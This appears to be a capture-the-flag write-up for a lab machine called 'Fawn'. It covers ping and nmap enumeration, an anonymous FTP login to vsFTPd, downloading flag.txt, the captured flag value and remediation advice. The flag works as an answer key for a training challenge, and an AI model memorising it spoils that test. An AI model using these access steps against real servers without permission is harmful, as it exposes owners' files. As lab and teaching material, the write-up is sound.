

Target: FAWN box

IP: 10.129.43.240

OS: Linux

1. Executive summary

A misconfiguration was identified in the target infrastructure related to a file sharing service. The system is misconfigured to accept connections as the anonymous user which lacks authentication. This allows any attacker on the local network to gain access to files on the server without having to authenticate.

1. Enumeration

- **Open Ports:**
 - 21 (ftp)
- **Steps:**
 - Ping target `ping 10.129.15.4` - Target reached

```
(felixfrost@kali)-[~]
$ ping 10.129.43.240
PING 10.129.43.240 (10.129.43.240) 56(84) bytes of data.
64 bytes from 10.129.43.240: icmp_seq=1 ttl=63 time=7017 ms
64 bytes from 10.129.43.240: icmp_seq=2 ttl=63 time=5987 ms
64 bytes from 10.129.43.240: icmp_seq=3 ttl=63 time=4959 ms
64 bytes from 10.129.43.240: icmp_seq=4 ttl=63 time=3939 ms
64 bytes from 10.129.43.240: icmp_seq=5 ttl=63 time=2915 ms
64 bytes from 10.129.43.240: icmp_seq=6 ttl=63 time=1891 ms
64 bytes from 10.129.43.240: icmp_seq=7 ttl=63 time=867 ms
^C
--- 10.129.43.240 ping statistics ---
11 packets transmitted, 7 received, 36.3636% packet loss, time 10214ms
rtt min/avg/max/mdev = 866.940/3939.308/7017.181/2049.037 ms, pipe 7
```

- Scan for open services, discovered ftp-anon login allowed:

```
(felixfrost@kali)-[~]
$ nmap -sC 10.129.43.240
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-22 14:25 CET
Nmap scan report for 10.129.43.240
Host is up (0.025s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to ::ffff:10.10.15.214
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 1
|     vsFTPD 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ -rw-r--r--  1 0      0              32 Jun 04  2021 flag.txt

Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds
```

2. Exploitation

Vulnerability: ftp-anon login allowed.

Steps to reproduce:

Attempt to log in as anonymous user `ftp 10.129.43.240`, provided username: Anonymous, password: admin123123 (does not matter).

Then, check which files with `ls` after login.

Exfiltrate files with `get flag.txt` that was found on the server.

```

(felixfrost@kali)-[~]
└─$ ftp 10.129.43.240
Connected to 10.129.43.240.
220 (vsFTPd 3.0.3)
Name (10.129.43.240:felixfrost): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (||||34508|)
150 Here comes the directory listing.
-rw-r--r--  1 0      0      32 Jun 04  2021 flag.txt
226 Directory send OK.
ftp> cat flag.txt
?Invalid command.
ftp> fget flag.txt
Can't open source file flag.txt
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (||||23352|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |*****|
226 Transfer complete.
32 bytes received in 00:00 (1.19 KiB/s)
ftp> exit
221 Goodbye.

```

3. Privilege analysis

Current User: Anonymous

Findings:

Possible to login as anonymous user directly without password (the user types a password but it is not considered).

4. Exfiltration

- **Flag:** 035db21c881520061c53e0536e44f815

5. Suggested remediation

Either

- Disable the ftp service if it is not needed.
- Set anonymous FTP to not allowed